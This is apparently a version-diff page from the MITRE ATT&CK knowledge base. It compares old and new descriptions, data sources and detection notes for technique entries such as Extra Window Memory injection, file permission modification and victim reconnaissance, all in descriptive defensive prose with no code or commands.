individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into process via Extra | t | 1 | Adversaries may inject malicious code into process via Extra |
| > | Window Memory (EWM) in order to evade process-based defense | > | Window Memory (EWM) in order to evade process-based defense | ||
| > | s as well as possibly elevate privileges. EWM injection is a | > | s as well as possibly elevate privileges. EWM injection is a | ||
| > | method of executing arbitrary code in the address space of | > | method of executing arbitrary code in the address space of | ||
| > | a separate live process. Before creating a window, graphic | > | a separate live process. Before creating a window, graphic | ||
| > | al Windows-based processes must prescribe to or register a w | > | al Windows-based processes must prescribe to or register a w | ||
| > | indows class, which stipulate appearance and behavior (via w | > | indows class, which stipulate appearance and behavior (via w | ||
| > | indows procedures, which are functions that handle input/out | > | indows procedures, which are functions that handle input/out | ||
| > | put of data).(Citation: Microsoft Window Classes) Registrati | > | put of data).(Citation: Microsoft Window Classes) Registrati | ||
| > | on of new windows classes can include a request for up to 40 | > | on of new windows classes can include a request for up to 40 | ||
| > | bytes of EWM to be appended to the allocated memory of each | > | bytes of EWM to be appended to the allocated memory of each | ||
| > | instance of that class. This EWM is intended to store data | > | instance of that class. This EWM is intended to store data | ||
| > | specific to that window and has specific application program | > | specific to that window and has specific application program | ||
| > | ming interface (API) functions to set and get its value. (Ci | > | ming interface (API) functions to set and get its value. (Ci | ||
| > | tation: Microsoft GetWindowLong function) (Citation: Microso | > | tation: Microsoft GetWindowLong function) (Citation: Microso | ||
| > | ft SetWindowLong function) Although small, the EWM is large | > | ft SetWindowLong function) Although small, the EWM is large | ||
| > | enough to store a 32-bit pointer and is often used to point | > | enough to store a 32-bit pointer and is often used to point | ||
| > | to a windows procedure. Malware may possibly utilize this m | > | to a windows procedure. Malware may possibly utilize this m | ||
| > | emory location in part of an attack chain that includes writ | > | emory location in part of an attack chain that includes writ | ||
| > | ing code to shared sections of the process’s memory, placing | > | ing code to shared sections of the process’s memory, placing | ||
| > | a pointer to the code in EWM, then invoking execution by re | > | a pointer to the code in EWM, then invoking execution by re | ||
| > | turning execution control to the address in the process’s EW | > | turning execution control to the address in the process’s EW | ||
| > | M. Execution granted through EWM injection may allow access | > | M. Execution granted through EWM injection may allow access | ||
| > | to both the target process's memory and possibly elevated p | > | to both the target process's memory and possibly elevated p | ||
| > | rivileges. Writing payloads to shared sections also avoids t | > | rivileges. Writing payloads to shared sections also avoids t | ||
| > | he use of highly monitored API calls such as <code>WriteProc | > | he use of highly monitored API calls such as <code>WriteProc | ||
| > | essMemory</code> and <code>CreateRemoteThread</code>.(Citati | > | essMemory</code> and <code>CreateRemoteThread</code>.(Citati | ||
| > | on: Endgame Process Injection July 2017) More sophisticated | > | on: Elastic Process Injection July 2017) More sophisticated | ||
| > | malware samples may also potentially bypass protection mecha | > | malware samples may also potentially bypass protection mecha | ||
| > | nisms such as data execution prevention (DEP) by triggering | > | nisms such as data execution prevention (DEP) by triggering | ||
| > | a combination of windows procedures and other system functio | > | a combination of windows procedures and other system functio | ||
| > | ns that will rewrite the malicious payload inside an executa | > | ns that will rewrite the malicious payload inside an executa | ||
| > | ble portion of the target process. (Citation: MalwareTech P | > | ble portion of the target process. (Citation: MalwareTech P | ||
| > | ower Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Red | > | ower Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Red | ||
| > | yms Mar 2013) Running code in the context of another proces | > | yms Mar 2013) Running code in the context of another proces | ||
| > | s may allow access to the process's memory, system/network r | > | s may allow access to the process's memory, system/network r | ||
| > | esources, and possibly elevated privileges. Execution via EW | > | esources, and possibly elevated privileges. Execution via EW | ||
| > | M injection may also evade detection from security products | > | M injection may also evade detection from security products | ||
| > | since the execution is masked under a legitimate process. | > | since the execution is masked under a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:26:33.191000+00:00 | 2020-11-10 18:29:31.004000+00:00 |
| description | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[4]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_detection | Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Endgame Process Injection July 2017) | Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file or directory permissions/attribu | t | 1 | Adversaries may modify file or directory permissions/attribu |
| > | tes to evade access control lists (ACLs) and access protecte | > | tes to evade access control lists (ACLs) and access protecte | ||
| > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | ||
| > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | ||
| > | missions are commonly managed by ACLs configured by the file | > | missions are commonly managed by ACLs configured by the file | ||
| > | or directory owner, or users with the appropriate permissio | > | or directory owner, or users with the appropriate permissio | ||
| > | ns. File and directory ACL implementations vary by platform, | > | ns. File and directory ACL implementations vary by platform, | ||
| > | but generally explicitly designate which users or groups ca | > | but generally explicitly designate which users or groups ca | ||
| > | n perform which actions (read, write, execute, etc.). Modif | > | n perform which actions (read, write, execute, etc.). Modif | ||
| > | ications may include changing specific access rights, which | > | ications may include changing specific access rights, which | ||
| > | may require taking ownership of a file or directory and/or e | > | may require taking ownership of a file or directory and/or e | ||
| > | levated permissions depending on the file or directory’s exi | > | levated permissions depending on the file or directory’s exi | ||
| > | sting permissions. This may enable malicious activity such a | > | sting permissions. This may enable malicious activity such a | ||
| > | s modifying, replacing, or deleting specific files or direct | > | s modifying, replacing, or deleting specific files or direct | ||
| > | ories. Specific file and directory modifications may be a re | > | ories. Specific file and directory modifications may be a re | ||
| > | quired step for many techniques, such as establishing Persis | > | quired step for many techniques, such as establishing Persis | ||
| > | tence via [Accessibility Features](https://attack.mitre.org/ | > | tence via [Accessibility Features](https://attack.mitre.org/ | ||
| > | techniques/T1546/008), [Boot or Logon Initialization Scripts | > | techniques/T1546/008), [Boot or Logon Initialization Scripts | ||
| > | ](https://attack.mitre.org/techniques/T1037), [.bash_profile | > | ](https://attack.mitre.org/techniques/T1037), [Unix Shell Co | ||
| > | and .bashrc](https://attack.mitre.org/techniques/T1546/004) | > | nfiguration Modification](https://attack.mitre.org/technique | ||
| > | , or tainting/hijacking other instrumental binary/configurat | > | s/T1546/004), or tainting/hijacking other instrumental binar | ||
| > | ion files via [Hijack Execution Flow](https://attack.mitre.o | > | y/configuration files via [Hijack Execution Flow](https://at | ||
| > | rg/techniques/T1574). | > | tack.mitre.org/techniques/T1574). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [.bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[3] | Windows event logs | File: File Metadata |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's host f |
| > | tion about the victim's host firmware that can be used durin | > | irmware that can be used during targeting. Information about | ||
| > | g targeting. Information about host firmware may include a v | > | host firmware may include a variety of details such as type | ||
| > | ariety of details such as type and versions on specific host | > | and versions on specific hosts, which may be used to infer | ||
| > | s, which may be used to infer more information about hosts i | > | more information about hosts in the environment (ex: configu | ||
| > | n the environment (ex: configuration, purpose, age/patch lev | > | ration, purpose, age/patch level, etc.). Adversaries may ga | ||
| > | el, etc.). Adversaries may gather this information in vario | > | ther this information in various ways, such as direct elicit | ||
| > | us ways, such as direct elicitation via [Phishing for Inform | > | ation via [Phishing for Information](https://attack.mitre.or | ||
| > | ation](https://attack.mitre.org/techniques/T1598). Informati | > | g/techniques/T1598). Information about host firmware may onl | ||
| > | on about host firmware may only be exposed to adversaries vi | > | y be exposed to adversaries via online or other accessible d | ||
| > | a online or other accessible data sets (ex: job postings, ne | > | ata sets (ex: job postings, network maps, assessment reports | ||
| > | twork maps, assessment reports, resumes, or purchase invoice | > | , resumes, or purchase invoices).(Citation: ArsTechnica Inte | ||
| > | s).(Citation: ArsTechnica Intel) Gathering this information | > | l) Gathering this information may reveal opportunities for o | ||
| > | may reveal opportunities for other forms of reconnaissance ( | > | ther forms of reconnaissance (ex: [Search Open Websites/Doma | ||
| > | ex: [Search Open Websites/Domains](https://attack.mitre.org/ | > | ins](https://attack.mitre.org/techniques/T1593) or [Search O | ||
| > | techniques/T1593) or [Search Open Technical Databases](https | > | pen Technical Databases](https://attack.mitre.org/techniques | ||
| > | ://attack.mitre.org/techniques/T1596)), establishing operati | > | /T1596)), establishing operational resources (ex: [Develop C | ||
| > | onal resources (ex: [Develop Capabilities](https://attack.mi | > | apabilities](https://attack.mitre.org/techniques/T1587) or [ | ||
| > | tre.org/techniques/T1587) or [Obtain Capabilities](https://a | > | Obtain Capabilities](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1588)), and/or initial access (e | > | 88)), and/or initial access (ex: [Supply Chain Compromise](h | ||
| > | x: [Supply Chain Compromise](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1195) or [Exploit Public | ||
| > | ques/T1195) or [Exploit Public-Facing Application](https://a | > | -Facing Application](https://attack.mitre.org/techniques/T11 | ||
| > | ttack.mitre.org/techniques/T1190)). | > | 90)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:52:36.854000+00:00 | 2021-04-15 03:22:46.759000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's hosts |
| > | tion about the victim's hosts that can be used during target | > | that can be used during targeting. Information about hosts m | ||
| > | ing. Information about hosts may include a variety of detail | > | ay include a variety of details, including administrative da | ||
| > | s, including administrative data (ex: name, assigned IP, fun | > | ta (ex: name, assigned IP, functionality, etc.) as well as s | ||
| > | ctionality, etc.) as well as specifics regarding its configu | > | pecifics regarding its configuration (ex: operating system, | ||
| > | ration (ex: operating system, language, etc.). Adversaries | > | language, etc.). Adversaries may gather this information in | ||
| > | may gather this information in various ways, such as direct | > | various ways, such as direct collection actions via [Active | ||
| > | collection actions via [Active Scanning](https://attack.mitr | > | Scanning](https://attack.mitre.org/techniques/T1595) or [Ph | ||
| > | e.org/techniques/T1595) or [Phishing for Information](https: | > | ishing for Information](https://attack.mitre.org/techniques/ | ||
| > | //attack.mitre.org/techniques/T1598). Adversaries may also c | > | T1598). Adversaries may also compromise sites then include m | ||
| > | ompromise sites then include malicious content designed to c | > | alicious content designed to collect host information from v | ||
| > | ollect host information from visitors.(Citation: ATT ScanBox | > | isitors.(Citation: ATT ScanBox) Information about hosts may | ||
| > | ) Information about hosts may also be exposed to adversaries | > | also be exposed to adversaries via online or other accessibl | ||
| > | via online or other accessible data sets (ex: [Social Media | > | e data sets (ex: [Social Media](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1593/001) or [Search | > | hniques/T1593/001) or [Search Victim-Owned Websites](https:/ | ||
| > | Victim-Owned Websites](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1594)). Gathering this informa | ||
| > | 1594)). Gathering this information may reveal opportunities | > | tion may reveal opportunities for other forms of reconnaissa | ||
| > | for other forms of reconnaissance (ex: [Search Open Websites | > | nce (ex: [Search Open Websites/Domains](https://attack.mitre | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593) or [Sea | > | .org/techniques/T1593) or [Search Open Technical Databases]( | ||
| > | rch Open Technical Databases](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1596)), establishing op | ||
| > | iques/T1596)), establishing operational resources (ex: [Deve | > | erational resources (ex: [Develop Capabilities](https://atta | ||
| > | lop Capabilities](https://attack.mitre.org/techniques/T1587) | > | ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http | ||
| > | or [Obtain Capabilities](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1588)), and/or initial acce | ||
| > | s/T1588)), and/or initial access (ex: [Supply Chain Compromi | > | ss (ex: [Supply Chain Compromise](https://attack.mitre.org/t | ||
| > | se](https://attack.mitre.org/techniques/T1195) or [External | > | echniques/T1195) or [External Remote Services](https://attac | ||
| > | Remote Services](https://attack.mitre.org/techniques/T1133)) | > | k.mitre.org/techniques/T1133)). | ||
| > | . | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:53:39.351000+00:00 | 2021-04-15 03:23:58.024000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's identi |
| > | tion about the victim's identity that can be used during tar | > | ty that can be used during targeting. Information about iden | ||
| > | geting. Information about identities may include a variety o | > | tities may include a variety of details, including personal | ||
| > | f details, including personal data (ex: employee names, emai | > | data (ex: employee names, email addresses, etc.) as well as | ||
| > | l addresses, etc.) as well as sensitive details such as cred | > | sensitive details such as credentials. Adversaries may gath | ||
| > | entials. Adversaries may gather this information in various | > | er this information in various ways, such as direct elicitat | ||
| > | ways, such as direct elicitation via [Phishing for Informat | > | ion via [Phishing for Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1598). Information | > | techniques/T1598). Information about victims may also be exp | ||
| > | about victims may also be exposed to adversaries via online | > | osed to adversaries via online or other accessible data sets | ||
| > | or other accessible data sets (ex: [Social Media](https://a | > | (ex: [Social Media](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1593/001) or [Search Victim-Owne | > | 93/001) or [Search Victim-Owned Websites](https://attack.mit | ||
| > | d Websites](https://attack.mitre.org/techniques/T1594)).(Cit | > | re.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Reg | ||
| > | ation: OPM Leak)(Citation: Register Deloitte)(Citation: Regi | > | ister Deloitte)(Citation: Register Uber)(Citation: Detectify | ||
| > | ster Uber)(Citation: Detectify Slack Tokens)(Citation: Forbe | > | Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitH | ||
| > | s GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHu | > | ub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks | ||
| > | b Gitrob)(Citation: CNET Leaks) Gathering this information m | > | ) Gathering this information may reveal opportunities for ot | ||
| > | ay reveal opportunities for other forms of reconnaissance (e | > | her forms of reconnaissance (ex: [Search Open Websites/Domai | ||
| > | x: [Search Open Websites/Domains](https://attack.mitre.org/t | > | ns](https://attack.mitre.org/techniques/T1593) or [Phishing | ||
| > | echniques/T1593) or [Phishing for Information](https://attac | > | for Information](https://attack.mitre.org/techniques/T1598)) | ||
| > | k.mitre.org/techniques/T1598)), establishing operational res | > | , establishing operational resources (ex: [Compromise Accoun | ||
| > | ources (ex: [Compromise Accounts](https://attack.mitre.org/t | > | ts](https://attack.mitre.org/techniques/T1586)), and/or init | ||
| > | echniques/T1586)), and/or initial access (ex: [Phishing](htt | > | ial access (ex: [Phishing](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1566) or [Valid Accounts]( | > | es/T1566) or [Valid Accounts](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1078)). | > | iques/T1078)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-27 02:27:31.387000+00:00 | 2021-04-15 03:27:49.579000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's networks that can be used during tar | > | ks that can be used during targeting. Information about netw | ||
| > | geting. Information about networks may include a variety of | > | orks may include a variety of details, including administrat | ||
| > | details, including administrative data (ex: IP ranges, domai | > | ive data (ex: IP ranges, domain names, etc.) as well as spec | ||
| > | n names, etc.) as well as specifics regarding its topology a | > | ifics regarding its topology and operations. Adversaries ma | ||
| > | nd operations. Adversaries may gather this information in v | > | y gather this information in various ways, such as direct co | ||
| > | arious ways, such as direct collection actions via [Active S | > | llection actions via [Active Scanning](https://attack.mitre. | ||
| > | canning](https://attack.mitre.org/techniques/T1595) or [Phis | > | org/techniques/T1595) or [Phishing for Information](https:// | ||
| > | hing for Information](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1598). Information about networ | ||
| > | 598). Information about networks may also be exposed to adve | > | ks may also be exposed to adversaries via online or other ac | ||
| > | rsaries via online or other accessible data sets (ex: [Searc | > | cessible data sets (ex: [Search Open Technical Databases](ht | ||
| > | h Open Technical Databases](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)( | ||
| > | ues/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citati | > | Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gatheri | ||
| > | on: Circl Passive DNS) Gathering this information may reveal | > | ng this information may reveal opportunities for other forms | ||
| > | opportunities for other forms of reconnaissance (ex: [Activ | > | of reconnaissance (ex: [Active Scanning](https://attack.mit | ||
| > | e Scanning](https://attack.mitre.org/techniques/T1595) or [S | > | re.org/techniques/T1595) or [Search Open Websites/Domains](h | ||
| > | earch Open Websites/Domains](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1593)), establishing ope | ||
